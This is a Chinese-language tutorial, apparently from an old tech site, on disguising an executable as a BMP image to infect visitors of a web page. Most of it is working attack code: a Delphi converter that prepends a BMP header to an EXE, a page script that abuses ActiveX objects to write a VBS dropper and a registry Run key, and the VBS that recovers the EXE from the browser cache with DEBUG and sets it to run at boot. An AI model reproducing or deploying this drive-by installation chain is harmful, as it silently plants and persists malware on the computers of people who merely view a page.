***傳播新方式 圖片***技術解析

        何謂BMP網頁***?它和過去早就用臭了的MIME頭漏洞的***不同,MIME***是把一個EXE文件用MIME編碼爲一個EML(OUT LOOK信件)文件,放到網頁上利用IE和OE的編碼漏洞實現自動下載和執行.
    然而BMP***就不同,它把一個EXE文件僞裝成一個BMP圖片文件,欺騙IE自動下載,再利用網頁中的JAVASCRIPT腳本查找客戶端的Internet臨時文件夾,找到下載後的BMP文件,把它拷貝到TEMP目錄.再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE,並把它放到註冊表啓動項中,在下一次開機時執行.但是這種技術只能在9X下發揮作用,對於2K,XP來說是無能爲力了.

    看上去好象很複雜,下面我們一步一步來:

    EXE變BMP的方法.

    大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個字節,簡單來說裏面包含了BMP文件的長寬,位數,文件大小,數據區長度,我們只要在EXE文件的文件頭前面添加相應的BMP文件頭(當然BMP文件頭裏面的數據要符合EXE文件的大小啦),這樣就可以欺 騙IE下載該BMP文件,開始我們用JPG文件做過試驗,發現如果文件頭不正確的話,IE是不會下載的,轉換代碼如下:

program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果運行後沒有兩個參數則退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下爲BMP文件頭數據}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

    以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家打開MSDOS方式,輸入exe2bmp myexe.exe mybmp.bmp回車就可以把第二個參數所指定的EXE文件轉換成BMP格式.

內容導航
    接着就是把這個BMP圖片放到網頁上了,如果大家打開過這張圖片的話,一定發現這張BMP又花,顏色又單調.所以大家放在網頁上最好用這樣的格式

<img srd="mybmp.bmp" higth="0" width="0">

    以下是放在網頁上的腳本

document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\s.vbs';
wsh.RegWrite
('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs','wscript '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);

    把該腳本保存爲"js.js",在網頁中插入:<script src="js.js"></script>

內容導航
    該腳本主要會在本地機器的SYSTEM目錄下生成一個“S.VBS”文件,該腳本文件會在下次開機時自動運行。主要用於從臨時目錄中找出mybmp[1].bmp文件。

    “S.VBS”文件主要內容如下:

Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'從臨時文件夾中查找目標BMP圖片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一個DEBUG腳本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六進制,換回十進制是4096(該數字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function

    這個腳本會找出在臨時文件夾中的bmp文件,並生成一個DEBUG的腳本,運行時會自動從BMP文件54字節處讀去你指定大小的數據,並把它保存到tmp.dat中.後面的腳本再把它複製到SYSTEM的目錄下.這個被還原的EXE文件會在下次重起的時候運行.這就是BMP***的基本實現過程.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章